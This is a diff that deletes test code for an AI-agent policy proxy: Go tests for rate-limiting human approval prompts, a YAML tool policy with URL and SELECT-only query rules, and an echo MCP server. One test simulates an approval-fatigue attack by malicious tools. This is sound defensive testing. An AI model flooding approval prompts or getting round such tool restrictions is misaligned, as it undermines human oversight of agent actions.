> 100*time.Millisecond { - t.Errorf("Should return immediately on cancelled context, took %v", elapsed) - } -} - -// TestAskUserContextTimeout tests that timeout returns false. -func TestAskUserContextTimeout(t *testing.T) { - if isCI() { - t.Skip("Skipping interactive test in CI environment") - } - - p := NewPrompter(&PrompterConfig{ - Timeout: 100 * time.Millisecond, // Very short timeout - }) - - // In headless test environment, dialog will fail, so this tests - // that the timeout mechanism works correctly - start := time.Now() - result := p.AskUserContext(context.Background(), "test_tool", nil) - elapsed := time.Since(start) - - // Should return false (either from dialog failure or timeout) - if result { - t.Error("Expected false in headless test environment") - } - - // Should complete within reasonable time (timeout + buffer) - if elapsed > 2*time.Second { - t.Errorf("Took too long: %v (expected < 2s)", elapsed) - } -} - -// TestIsHeadless tests headless environment detection. -func TestIsHeadless(t *testing.T) { - // This test just verifies the function doesn't panic - // Actual result depends on environment - _ = IsHeadless() -} - -// ----------------------------------------------------------------------------- -// Rate Limiting Tests -// ----------------------------------------------------------------------------- - -// TestRateLimitDefaults tests that rate limiting is enabled by default. -func TestRateLimitDefaults(t *testing.T) { - p := NewPrompter(nil) - - if p.cfg.MaxPromptsPerMinute != DefaultMaxPromptsPerMinute { - t.Errorf("Default MaxPromptsPerMinute = %d, want %d", - p.cfg.MaxPromptsPerMinute, DefaultMaxPromptsPerMinute) - } - if p.cfg.CooldownDuration != DefaultCooldownDuration { - t.Errorf("Default CooldownDuration = %v, want %v", - p.cfg.CooldownDuration, DefaultCooldownDuration) - } -} - -// TestRateLimitCustomConfig tests custom rate limit configuration. -func TestRateLimitCustomConfig(t *testing.T) { - cfg := &PrompterConfig{ - MaxPromptsPerMinute: 5, - CooldownDuration: 2 * time.Minute, - } - p := NewPrompter(cfg) - - if p.cfg.MaxPromptsPerMinute != 5 { - t.Errorf("MaxPromptsPerMinute = %d, want 5", p.cfg.MaxPromptsPerMinute) - } - if p.cfg.CooldownDuration != 2*time.Minute { - t.Errorf("CooldownDuration = %v, want 2m", p.cfg.CooldownDuration) - } -} - -// TestRateLimitDisabled tests that negative value disables rate limiting. -func TestRateLimitDisabled(t *testing.T) { - cfg := &PrompterConfig{ - MaxPromptsPerMinute: -1, // Disable - } - p := NewPrompter(cfg) - - if p.cfg.MaxPromptsPerMinute != 0 { - t.Errorf("Disabled rate limit should be 0, got %d", p.cfg.MaxPromptsPerMinute) - } - - // With rate limiting disabled, checkRateLimit should always return true - for i := 0; i < 100; i++ { - if !p.checkRateLimit("test_tool") { - t.Fatal("checkRateLimit should always return true when disabled") - } - } -} - -// TestRateLimitEnforced tests that rate limiting blocks excessive prompts. -func TestRateLimitEnforced(t *testing.T) { - cfg := &PrompterConfig{ - MaxPromptsPerMinute: 3, - CooldownDuration: 100 * time.Millisecond, // Short for testing - } - p := NewPrompter(cfg) - - var logMessages []string - p.SetLogger(func(format string, args ...any) { - logMessages = append(logMessages, fmt.Sprintf(format, args...)) - }) - - // First 3 should be allowed - for i := 0; i < 3; i++ { - if !p.checkRateLimit("tool_" + string(rune('a'+i))) { - t.Errorf("Request %d should be allowed", i+1) - } - } - - // 4th should be blocked - if p.checkRateLimit("tool_blocked") { - t.Error("4th request should be blocked by rate limit") - } - - // Verify warning was logged - if len(logMessages) == 0 { - t.Error("Expected rate limit warning to be logged") - } - - // Check status - count, inCooldown, _ := p.GetRateLimitStatus() - if count != 3 { - t.Errorf("Expected 3 prompts in last minute, got %d", count) - } - if !inCooldown { - t.Error("Should be in cooldown after exceeding limit") - } - - // Wait for cooldown to expire - time.Sleep(150 * time.Millisecond) - - // After cooldown, we're still within the 1-minute window with 3 entries, - // so we can't add more until those expire. This is correct behavior. - // Let's manually age the entries for this test. - p.mu.Lock() - for i := range p.promptTimes { - p.promptTimes[i] = time.Now().Add(-2 * time.Minute) // Age them out - } - p.mu.Unlock() - - // Should be allowed again after cooldown and entries expired - if !p.checkRateLimit("tool_after_cooldown") { - t.Error("Request should be allowed after cooldown and entries expired") - } -} - -// TestRateLimitCooldown tests that cooldown period works correctly. -func TestRateLimitCooldown(t *testing.T) { - cfg := &PrompterConfig{ - MaxPromptsPerMinute: 2, - CooldownDuration: 200 * time.Millisecond, - } - p := NewPrompter(cfg) - - // Exhaust the limit - p.checkRateLimit("tool1") - p.checkRateLimit("tool2") - p.checkRateLimit("tool3") // This triggers cooldown - - // Immediate request should be blocked - if p.checkRateLimit("tool4") { - t.Error("Should be blocked during cooldown") - } - - // Check cooldown status - _, inCooldown, remaining := p.GetRateLimitStatus() - if !inCooldown { - t.Error("Should be in cooldown") - } - if remaining > 200*time.Millisecond || remaining < 0 { - t.Errorf("Cooldown remaining %v out of expected range", remaining) - } - - // Wait for cooldown - time.Sleep(250 * time.Millisecond) - - // Should be allowed now - _, inCooldown, _ = p.GetRateLimitStatus() - if inCooldown { - t.Error("Should not be in cooldown after waiting") - } -} - -// TestRateLimitReset tests the ResetRateLimit method. -func TestRateLimitReset(t *testing.T) { - cfg := &PrompterConfig{ - MaxPromptsPerMinute: 2, - CooldownDuration: 1 * time.Hour, // Long cooldown - } - p := NewPrompter(cfg) - - // Exhaust limit and trigger cooldown - p.checkRateLimit("tool1") - p.checkRateLimit("tool2") - p.checkRateLimit("tool3") - - count, inCooldown, _ := p.GetRateLimitStatus() - if count == 0 || !inCooldown { - t.Error("Should have prompts recorded and be in cooldown") - } - - // Reset - p.ResetRateLimit() - - count, inCooldown, _ = p.GetRateLimitStatus() - if count != 0 { - t.Errorf("After reset, count should be 0, got %d", count) - } - if inCooldown { - t.Error("After reset, should not be in cooldown") - } - - // Should be able to prompt again - if !p.checkRateLimit("tool_after_reset") { - t.Error("Should be allowed after reset") - } -} - -// TestRateLimitOldEntriesExpire tests that old prompt records are cleaned up. -func TestRateLimitOldEntriesExpire(t *testing.T) { - cfg := &PrompterConfig{ - MaxPromptsPerMinute: 100, // High limit so we don't trigger cooldown - CooldownDuration: 1 * time.Hour, - } - p := NewPrompter(cfg) - - // Add some prompts - p.checkRateLimit("tool1") - p.checkRateLimit("tool2") - - count1, _, _ := p.GetRateLimitStatus() - - // Manually age the entries (for testing without waiting a minute) - p.mu.Lock() - for i := range p.promptTimes { - p.promptTimes[i] = time.Now().Add(-2 * time.Minute) // 2 minutes ago - } - p.mu.Unlock() - - // The old entries should be cleaned up on next check - p.checkRateLimit("tool3") - - count2, _, _ := p.GetRateLimitStatus() - if count2 >= count1 { - t.Errorf("Old entries should have been cleaned up. Before: %d, After: %d", count1, count2) - } -} - -// TestRateLimitFatigueAttackSimulation simulates an approval fatigue attack. -// This is the key security test for this feature. -func TestRateLimitFatigueAttackSimulation(t *testing.T) { - cfg := &PrompterConfig{ - MaxPromptsPerMinute: 5, - CooldownDuration: 100 * time.Millisecond, - } - p := NewPrompter(cfg) - - var warnings []string - p.SetLogger(func(format string, args ...any) { - warnings = append(warnings, fmt.Sprintf(format, args...)) - }) - - // Simulate rapid-fire approval requests (fatigue attack pattern) - allowed := 0 - blocked := 0 - for i := 0; i < 20; i++ { - if p.checkRateLimit(fmt.Sprintf("malicious_tool_%d", i)) { - allowed++ - } else { - blocked++ - } - } - - // CRITICAL SECURITY CHECK: - // Only the first 5 should have been allowed - if allowed != 5 { - t.Errorf("SECURITY: Expected exactly 5 prompts allowed, got %d", allowed) - } - if blocked != 15 { - t.Errorf("SECURITY: Expected 15 prompts blocked, got %d", blocked) - } - - // Verify security warning was logged - foundSecurityWarning := false - for _, w := range warnings { - if containsSubstring(w, "fatigue attack") { - foundSecurityWarning = true - break - } - } - if !foundSecurityWarning { - t.Error("SECURITY: Expected fatigue attack warning to be logged") - } -} - -// containsString checks if str contains substr. -func containsString(str, substr string) bool { - return len(str) >= len(substr) && (str == substr || len(substr) == 0 || - (len(str) > 0 && containsSubstring(str, substr))) -} - -func containsSubstring(s, substr string) bool { - for i := 0; i <= len(s)-len(substr); i++ { - if s[i:i+len(substr)] == substr { - return true - } - } - return false -} diff --git a/implementations/go-proxy/test/agent.yaml b/implementations/go-proxy/test/agent.yaml deleted file mode 100644 index b333db6..0000000 --- a/implementations/go-proxy/test/agent.yaml +++ /dev/null @@ -1,21 +0,0 @@ -apiVersion: aip.io/v1alpha1 -kind: AgentPolicy -metadata: - name: test-policy -spec: - allowed_tools: - - "list_files" - # "delete_files" is implicitly blocked - - # Phase 3: Granular argument-level validation - tool_rules: - # GeminiJack Defense: Only allow GitHub URLs - - tool: fetch_url - allow_args: - url: "^https://github\\.com/.*" - - # SQL Injection Defense: Only allow SELECT queries on safe databases - - tool: run_query - allow_args: - database: "^(prod_readonly|staging)$" - query: "^SELECT\\s+.*" diff --git a/implementations/go-proxy/test/echo_server.py b/implementations/go-proxy/test/echo_server.py deleted file mode 100755 index 511f562..0000000 --- a/implementations/go-proxy/test/echo_server.py +++ /dev/null @@ -1,45 +0,0 @@ -#!/usr/bin/env python3 -""" -Dummy MCP server that echoes back JSON-RPC requests. - -This simulates a real MCP server for testing the AIP proxy. -It reads JSON lines from stdin and echoes them back to stdout -wrapped in a JSON-RPC response. -""" -import sys -import json - -def main(): - # Flush stdout immediately for real-time output - sys.stdout.reconfigure(line_buffering=True) - - for line in sys.stdin: - line = line.strip() - if not line: - continue - - try: - request = json.loads(line) - # Echo back as a JSON-RPC response - response = { - "jsonrpc": "2.0", - "id": request.get("id"), - "result": { - "echo": request, - "message": "Request received by echo_server" - } - } - print(json.dumps(response), flush=True) - except json.JSONDecodeError as e: - error_response = { - "jsonrpc": "2.0", - "id": None, - "error": { - "code": -32700, - "message": f"Parse error: {e}" - } - } - print(json.dumps(error_response), flush=True) - -if __name__ == "__main__": - main()